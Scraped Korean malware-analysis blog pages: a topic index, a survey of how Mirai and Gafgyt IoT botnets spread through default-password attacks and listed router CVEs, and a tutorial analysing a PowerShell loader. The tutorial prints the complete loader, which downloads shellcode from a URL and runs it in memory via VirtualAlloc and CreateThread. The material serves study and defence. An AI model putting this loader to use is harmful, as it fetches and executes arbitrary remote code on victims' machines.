2019. 6. 14. 14:18 악성코드 분석

목록



1. 도구

- Ollydbg 2.01 매뉴얼http://sanseolab.tistory.com/8 ]

Windbg, Gdb 명령어 정리 http://sanseolab.tistory.com/22 ]

VC++ 옵션 정리 http://sanseolab.tistory.com/20 ]

exeinfo PE 사용법 [ http://sanseolab.tistory.com/48 ]

x64dbg 분석 팁http://sanseolab.tistory.com/54 ]

IDA Pro 시그니처 사용 및 제작 (Flirt) [ http://sanseolab.tistory.com/55 ]

- GCC 사용법  [ http://sanseolab.tistory.com/67 ]

- 디버거로 덤프뜨기  [ http://sanseolab.tistory.com/73 ]

- Notepad++ 자동화  [ http://sanseolab.tistory.com/74 ]

- TotalCommand 자동화  [ http://sanseolab.tistory.com/75 ]



2. 보안 개념

코드 인젝션과 사용자 모드 후킹 http://sanseolab.tistory.com/28 ]

윈도우의 예외 처리 http://sanseolab.tistory.com/16 ]

윈도우의 서비스 http://sanseolab.tistory.com/18 ]

API Sets http://sanseolab.tistory.com/17 ]

윈도우의 자료형 정리 http://sanseolab.tistory.com/9 ]

윈도우에서 스크립트 악성코드 http://sanseolab.tistory.com/41 ]

악성코드 분석 자동화 (샌드박스 및 에뮬레이터) http://sanseolab.tistory.com/39 ]

안티바이러스의 악성코드 탐지 메커니즘 http://sanseolab.tistory.com/35 ]

다형성 바이러스 http://sanseolab.tistory.com/19 ]

악성코드 지속 메커니즘 http://sanseolab.tistory.com/30 ]

파워셸(PowerShell)과 악성코드 http://sanseolab.tistory.com/29 ]

윈도우 권한과 UAC (User Access Control) 우회 http://sanseolab.tistory.com/27 ]

악성코드가 감염되기까지 http://sanseolab.tistory.com/26 ]

EFLAGS 상태 레지스터 http://sanseolab.tistory.com/44 ]

Anti-AV와 Anti-VM (Sandbox) [ http://sanseolab.tistory.com/52 ]

Access Token 및 권한과 Integrity Level에 대한 정리 [ http://sanseolab.tistory.com/50 ]

COM, OLE,.NET Framework 등의 개념 및 사용 [ http://sanseolab.tistory.com/49 ]

TEB 및 PEB를 활용하는 루틴 [ http://sanseolab.tistory.com/47 ]

Process Hollowing 및 응용  [ http://sanseolab.tistory.com/57 ]

CreateProcess / CreateThread 내부  [ http://sanseolab.tistory.com/58 ]

- 악성 행위에 사용될 수 있는 시스템 유틸리티  [ http://sanseolab.tistory.com/66 ]

- 윈도우의 작업 스케줄링 및 기타  [ http://sanseolab.tistory.com/68 ]

- batch (cmd) 난독화  [ https://sanseolab.tistory.com/76 ]

- 파워셸에서 사용되는 닷넷 문법  [ https://sanseolab.tistory.com/77 ]

- 리눅스 IoT 악성코드들의 전파 방식  [ https://sanseolab.tistory.com/78 ]



3. 분석

패커들 분석 http://sanseolab.tistory.com/10 ]

Yoda's Protector 분석 http://sanseolab.tistory.com/11 ]

프로텍터 PEspin 1.33 분석 http://sanseolab.tistory.com/34 ]

델파이 바이너리 분석 방법론 [ http://sanseolab.tistory.com/56 ]

Autoit 스크립트  [ http://sanseolab.tistory.com/59 ]

바이너리로 변환된 VBScript 디컴파일  http://sanseolab.tistory.com/60 ]

오토핫키 (AutoHotKey) 버전 별 디컴파일  [ http://sanseolab.tistory.com/61 ]

바이너리로 변환된 스크립트 추출 ( VBScript, Powershell, Batch )  [ http://sanseolab.tistory.com/63 ]

Visual Basic 6.0 바이너리 분석  [ http://sanseolab.tistory.com/64 ]

인스톨러들 분석  [ http://sanseolab.tistory.com/65 ]

USB 악성코드 분석 [ http://sanseolab.tistory.com/42 ]



4. 개발

간단한 패커 개발 http://sanseolab.tistory.com/12 ]

윈도우의 드라이버 개발과 루트킷 그리고 AV http://sanseolab.tistory.com/13 ]

리눅스 안티바이러스 구현에 관한 정리 http://sanseolab.tistory.com/23 ]

윈도우 안티바이러스 드라이버 개발 연습 http://sanseolab.tistory.com/33 ]

윈도우 드라이버로 구현한 간단한 프로세스 로그 생성기 (Process Logger) http://sanseolab.tistory.com/38 ]

yara를 이용한 시그니처 분류 연습  [ http://sanseolab.tistory.com/62 ]

- [Tool] ejExtractor  [ http://sanseolab.tistory.com/72 ]



'악성코드 분석' 카테고리의 다른 글

리눅스 IoT 악성코드들의 전파 방식  (0) 2019.06.14
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab

 

1. 개요

 

Mirai, Gafgyt 등의 악성코드들은 소스 코드가 공개된 이후 현재까지 다수의 변종들이 만들어지고 있다. 이러한 IoT 악성코드들은 대부분 기능상 DDoS Bot이며, 그렇기 때문에 효과적인 DDoS 공격을 위해서는 다수의 Botnet이 필요하다. 즉 해당 IoT DDoS Bot 악성코드들은 DDoS 공격과 관련된 기능 외에도 또 다른 취약한 디바이스들을 스캐닝하고 더 나아가 확인된 취약한 장비들에 동일한 악성코드를 전파시키는 기능이 포함될 수 밖에 없다. 

여기서는 크게 초기 버전부터 사용되고 있는 사전 공격 (Dictionary Attack) 방식과, 이후 변종들의 다수를 차지하고 있는 취약점 기법들에 대해서 다룬다.

 

 

 

 

2. ID / PW 사전 공격

 

다음은 Gafgyt의 초기 버전인 Bashlite의 소스 코드이다. usernames와 passwords를 살펴보면 root를 포함한 admin, user 등의 기본적으로 사용될만한 ID를 가지고 있으며, 비밀번호 또한 root, toor, admin 등 관리자가 보안에 신경쓰지 않고 간략하게 설정할 만한 비밀번호 값들을 갖는다.
https://github.com/ifding/iot-malware/blob/master/BASHLITE/client.c ]

StartTheLelz() 함수는 getrandompublicip() 함수를 통해 랜덤으로 구한 IP 주소에 (사설 IP 대역 등은 제외한다) 위의 ID / PW 값들을 통해 로그인을 시도한다. 참고로 후술할 Mirai와 달리 매우 간단한 편이기 때문에 따로 전파 기능을 갖지 않고 C2 서버에 성공한 서버의 IP와 ID / PW를 전송한다.

다음은 Mirai 악성코드의 공개된 초기 버전 소스 코드이다. 디폴트 ID와 비밀번호가 포함된 소스 코드이다.
https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/scanner.c ]

Bashlite와 같이 보안에 취약한 ID / PW 값들을 포함할 뿐만 아니라 IoT 장비의 디폴트 ID 및 비밀번호들도 포함하고 있다. 참고로 Mirai는 이렇게 보안에 취약한 장비들을 스캐닝할 뿐만 아니라 로그인에 성공한 서버에 (참고로 busybox도 설치되어 있어야 한다) Mirai 악성코드를 전파하는 기능도 포함하고 있다.

위에서는 초기 소스 코드를 기반으로 확인하였지만, 이후 나오는 변종들에서는 더 많은 ID / PW 조합이 (Credential combination) 사용되고 있다. 다음은 관련 내용이 언급된 분석 글들의 링크이다.
https://blog.avast.com/hacker-creates-seven-new-variants-of-the-mirai-botnet ]
https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/ ]
https://medium.com/@ahmedjouini99/mirai-botnet-new-sophisticated-scanner-6ad9269c14 ]
https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

 

 

3. 취약점

 

ID / PW 사전 공격 외에도 만약 대상 디바이스에 취약점이 존재하여 악성코드를 다운로드 받고 실행할 수 있다면 이 취약점을 통해 전파가 가능하다.

취약점 관련 내용은 Palo Alto Networks가 꾸준히 잘 정리된 블로그를 올렸기 때문에 링크만 걸어도 충분할 것 같다. 물론 여러 개의 블로그에 나뉘어져 있어서 간략히 정리하는 의미로, 그리고 이후 추가된 블로그 및 상세 내역을 추가해 가는 방식을 위해 이 블로그에서도 간략하게 정리하도록 한다.

2018.07.20 - [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]
2018.09.09 - [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]
2019.03.18 - [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]
2019.04.08 - [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]
2019.06.06 - [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

아래에 정리된 내용을 보면 알겠지만 대부분 Remote Command Execution 취약점들이다. 즉 원격으로 패킷을 보내는 방식을 통해 악의적인 명령이 수행될 수 있다. 대부분 wget을 이용해 악성코드를 다운로드 받고 실행하는 방식이 사용된다.


LynkSys 취약점

 

취약점 : LynkSys Remote Command Execution
대상 : Linksys E-series Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : Linksys WAP54Gv3 Remote Debug Root Shell
대상 : Linksys WAP54G Wireless Access Points
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : CVE-2013-3568
대상 : Linksys WRT100, WRT110 consumer routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Linksys apply.cgi Remote Command Execution
대상 : Linksys E1500/E2500 routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

 

NetGear 취약점

 

취약점 : Netgear setup.cgi unauthenticated Remote Command Execution
대상 : DGN1000 Netgear routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : Netgear cgi-bin Remote Command Execution
대상 : Netgear R7000/R6400 devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2016-1555
대상 : Netgear WG102, WG103, WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : CVE-2017-6077, CVE-2017-6334
대상 : Netgear DGN2200 N300 Wireless ADSL2+ Modem Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Netgear Prosafe Remote Command Execution
대상 : Netgear Prosafe WC9500, WC7600, WC7520 Wireless Controllers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Netgear ReadyNAS Remote Command Execution / CVE-2018-15716
대상 : Netgear ReadyNAS Surveillance 1.4.3-16 and NUUO NVRMini devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

D-Link 취약점

 

취약점 : HNAP SoapAction-Header Remote Command Execution
대상 : D-Link devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : UPnP SOAP TelnetD Remote Command Execution
대상 : D-Link devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : D-Link command.php Remote Command Execution
대상 : Some D-Link Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : D-Link DCS-930L Remote Command Execution
대상 : D-Link DCS-930L Network Video Cameras
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : D-Link diagnostic.php Command Execution
대상 : D-Link DIR-645, DIR-815 Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : D-Link DSL2750B Remote Code Execution
대상 : D-Link DSL2750B
예시 : [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]

 

 

기타 취약점

 

취약점 : CVE-2018-10561, CVE-2018-10562 Remote Command Execution
대상 : Dasan GPON routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2014-8361
대상 : Different devices using the Realtek SDK with the miniigd daemon
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2017-17215
대상 : Huawei HG532
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : Eir WAN Side Remote Command Execution
대상 : Eir D1000 routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CCTV/DVR Remote Command Execution
대상 : CCTVs, DVRs from over 70 vendors
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : JAWS Webserver unauthenticated shell command execution
대상 : MVPower DVRs, among others
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : Vacron NVR Remote Command Execution
대상 : Vacron NVR devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : EnGenius Remote Command Execution
대상 : EnGenius EnShare IoT Gigabit Cloud Service 1.4.11
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : AVTECH Unauthenticated Remote Command Execution
대상 : AVTECH IP Camera/NVR/DVR Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : CVE-2017-6884
대상 : Zyxel routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : NetGain ‘ping’ Command Injection
대상 : NetGain Enterprise Manager 7.2.562
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : NUUO OS Remote Command Execution
대상 : NUUO NVRmini 2 3.0.8
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : CVE-2018-17173
대상 : LG Supersign TVs
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : WePresent WiPG-1000 Remote Command Execution
대상 : WePresent WiPG-1000 Wireless Presentation systems
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Zyxel P660HN Remote Command Execution
대상 : Zyxel P660HN-T routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : ZTE Remote Command Execution
대상 : ZTE ZXV10 H108L Routers with <= V1.0.01_WIND_A01
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Apache Struts 2 Remote Command Execution / CVE-2017-5638
대상 : Apache Struts 2.3.5~2.3.31 버전, Apache Struts 2.5~2.5.10 버전, Cisco 제품 : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170310-struts2
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : SonicWall GMS Remote Command Execution / CVE-2018-9866
대상 : SonicWall Global Management System (GMS) (8.1 and older)
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : ThinkPHP Remote Command Execution / CVE-2018-20062
대상 : ThinkPHP 5.x < v5.0.23
예시 : [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]

 

취약점 : CVE-2019-3929
대상 : Wireless Presentation Systems from several vendors
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : OpenDreamBox Remote Code Execution
대상 : Devices running OpenDreamBox 2.0.0 ? an embedded Linux distribution for Set-Top-Boxes
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-6961
대상 : VMware NSX SD-WAN Edge < 3.1.2
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-7841
대상 : Schneider Electric U.motion LifeSpace Management Systems
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : Dell KACE Remote Code Execution
대상 : Dell KACE Systems Management Appliances
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2017-5174
대상 : Geutebruck IP Cameras
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : HooToo TripMate Remote Code Execution
대상 : HooToo TripMate Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-11510
대상 : Asustor NAS Devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2019-2725
대상 : Oracle WebLogic Servers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : ASUS DSL Modem Remote Code Execution
대상 : ASUS DSL-N12E_C1 1.1.2.3_345
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : Belkin WeMo Remote Code Execution
대상 : Belkin WeMo Devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : MiCasa VeraLite Remote Code Execution
대상 : MiCasa VeraLite Smart Home Controllers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : GoAhead Remote Code Execution
대상 : IP cameras manufactured by GoAhead, Aldi, and several others
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

'악성코드 분석' 카테고리의 다른 글

목록  (1) 2019.06.14
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab


0. 개요

1. 예제

2. 정리 중





0. 개요

  파워셸 악성코드의 경우 커맨드 라인으로 간단하게 cmdlet 만을 이용하는 방식 외에도 직접적으로 닷넷을 이용하여 악성 행위를 수행하는 경우가 많다. 이 경우 직관적인 부분 위주로 간략한 행위 정도는 파악할 수 있지만 상세한 내용을 분석해야 할 필요가 있어서 공부 삼아서 여기에 정리하려고 한다.


  가장 기본적인 샘플을 구해 이것 위주로 분석하기로 하며, 나아가 다른 복잡한 샘플들에서도 추가적인 부분들 위주로 계속 추가해 나갈 예정이다. 여기서는 다음 링크의 코드가 공부를 시작하는데 적합하다고 생각해서 조금 상세하게 진행하도록 한다. 



1. 예제

https://github.com/Exploit-install/DKMC/blob/master/core/util/exec-sc.ps1 ]



/*  source code  */


Set-StrictMode -Version 2


$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

}


function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()

}


[Byte[]]$var_code = (New-Object System.Net.WebClient).DownloadData("[URL]")


$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)


[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)


$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null

'@


If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}


/*  source code  */



  실질적인 역할을 하는건 $DoIt으로 선언한 파워셸 스크립트이다. 이 스크립트에서도 가장 마지막 라인들이 실제 행위를 수행한다. 참고로 " $DoIt = "@ ... "@ " 부분은 $DoIt 이라는 변수에 파워셸 스크립트 문자열을 저장한다. 그냥 쌍따옴표 대신 @를 이용한 이 방식은 내부 문자열에 쌍따옴표가 들어가도 인식할 수 있게 해준다. 그래서인지 이러한 여러 라인을 가진 복잡한 형태의 파워셸 악성코드에서는 항상 @ 문자열을 볼 수 있다.


  이제 $DoIt 스크립트를 보자. 먼저 다운로드한 셀코드를 Byte 배열 $var_code에 저장한다.

이후 $var_buffer 부분을 보면 버퍼를 할당하는데 직접 API 함수 VirtualAlloc()을 사용한다. 그리고 Copy()를 통해 셸코드를 $var_buffer로 복사한다. 이후 직접 CreateThread() API 함수를 호출하는데 시작 주소는 앞에서 할당 후 셸코드를 복사한 $var_buffer이다. 마지막으로 생성된 쓰레드에 대해 WaitForSIngleObject()로 대기하며 이 또한 직접 API 함수를 호출한다.


  C로 제작하였으면 간단했겠지만 여기서는 .net에서 직접 API 함수를 이용하는 메커니즘을 사용했기 때문에 내용이 많이 복잡해졌다. 물론 다른 악성코드 예제들보다는 훨씬 간단하기 때문에 이것을 예제로 하고 공부 중이며 간단하게 정리된 내용을 업로드하기로 한다.


  먼저 VirtualAlloc()을 호출하는 부분을 본다. 나머지는 함수들도 호출하는 방식은 동일하므로 이 함수를 호출하는 방식 위주로 진행한다. [System.Runtime.InteropServices.Marshal] 클래스의 GetDelegateForFunctionPointer() 메소드는 unmanaged function pointer를 Delegate로 변환하는 함수라고 한다. Delegate라는 개념은 대리자라고도 불리는데 간단하게 설명해서 메소드를 효율적으로 사용하기 위해 특정 메소드 자체를 캡슐화할 수 있게 만들어주는 방식이라고 한다. 


  Delegate 자체는 개념이 어려우므로 넘어가고 어쩄든 해당 라인은 인자로 받은 unmanaged function pointer에 대해 Delegate로 변환시킨 후에 invoke로 해당 함수를 호출하는 것으로 간략하게 이해할 수 있다. Delegate 객체의 메소드로 invoke가 있으며 invoke 시에 인자를 줄 수 있는 것으로 보인다. 결국 GetDelegateForFunctionPointer() 메소드를 통해 VirtualAlloc()에 대한 Delegate 객체가 생성되었고 이것을 실행하는 방식이다.


  특정 API 함수에 대한 Delegate 객체가 있다면 호출할 수 있다는 점은 알게 되었고, 이제 GetDelegateForFunctionPointer() 메소드가 어떤 방식을 통해 해당 객체를 생성하는지의 과정을 보자.


  이 함수는 인자로 변환할 unmanaged 함수의 포인터 뿐만 아니라 생성할 Delegate 객체의 타입을 받는다. 여기서는 func_get_proc_address 함수를 통해 (인자로 kernel32.dll과 VirtualAlloc()을 받아서) unmanaged 함수의 포인터를 생성하는 것으로 보인다. 마찬가지로 타입은 func_get_delegate_type 함수를 통해 (인자로 VirtualAlloc() 함수의 인자와 동일한 인자들을 받아서) Delegate 타입을 생성하였다.


  이제 앞의 두 함수만 보면 (이름도 굉장히 직관적이다) unmanaged 함수의 포인터와 Delegate 객체의 타입이 어떻게 생성되는지를 확인할 수 있다. 먼저 func_get_proc_address 함수는 먼저 system.dll 어셈블리에서 Microsoft.Win32.UnsafeNativeMethods 를 찾는다. 


  어셈블리는 단일한 단위로 존재하는 .NET의 실행 가능한 프로그램 또는 실행 프로그램의 일부라고 하며 대표적으로 exe와 dll이 있다. 참고로 어셈블리는 MSIL 코드 외에도 Type Metadata, Assembly Manifest, Resource 등을 포함한다. 


  Microsoft.Win32.UnsafeNativeMethods 클래스를 구한 후 변수 $var_unsafe_native_methods에 저장한다. 구하는 방식은 현재 AppDomain에서 어셈블리를 획득한 후 이 중에서 해당 클래스가 구현된 system.dll을 획득하여 구하는 방식이다. 이제 UnsafeNativeMethods 클래스의 GetMethod 메소드를 통해 API 함수 이름을 인자로 받아 구하고 사용할 수 있다. API 함수를 호출할 때마다 이 과정을 거칠 필요 없이 func_get_proc_address는 인자로 DLL 이름과 API 함수 이름을 받아서 이 과정 즉 직접 LoadLibrary()와 GetProcAddress()를 통해 API 함수에 대한 주소를 구해 준다.


  다음으로 func_get_delegate_type 함수가 있다. 이 함수는 파워셸에서 delegate 키워드를 사용하는 것과 같은 효과를 준다. 즉 C#에서는 간단하게 타입을 지정할 때 delegate를 지정하면 되지만 파워셸에서는 해당 문법이 지원되지 않기 때문에 위와 같은 방식으로 직접 구현한 것이다.


  결론적으로 파워셸에서 닷넷 문법을 통해 API 함수를 직접적으로 사용할 수 있도록 구현된 것이며 내용 자체는 위와 같이 간단하다. 마지막 부분도 그냥 iex를 이용해 선언한 스크립트를 실행시키는 것이 전부이다.


  Start-Job cmdlet은 파워셸 스크립트를 백그라운드에서 실행시키며, 32bit 환경인지 64bit 환경인지를 검사한 후 64비트인 경우 (다운로드 받는 셸코드를 32비트로 전제한 것 같다) "-RunAs32" 옵션을 주고 32비트 프로세스로 실행시킨다.


  참고로 Powreliks 악성코드도 CreateThread() 대신 CallWindowProcA()을 사용했다는 점을 제외하면 동일한 방식이 사용되었다. 사용된 파워셸 소스 코드는 다음 링크에서 확인할 수 있다. [ https://www.codeandsec.com/Poweliks-Malware-Analysis ]





3. 정리 중

  다음 링크에 3가지 방식이 정리되어 있다. 위에서 다룬 방식은 2번째 방식이며, 1번째 방식이 공식적으로 문서화 된 방식이라고 한다.


https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/ ]



'악성코드 분석' 카테고리의 다른 글

목록  (1) 2019.06.14
리눅스 IoT 악성코드들의 전파 방식  (0) 2019.06.14
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함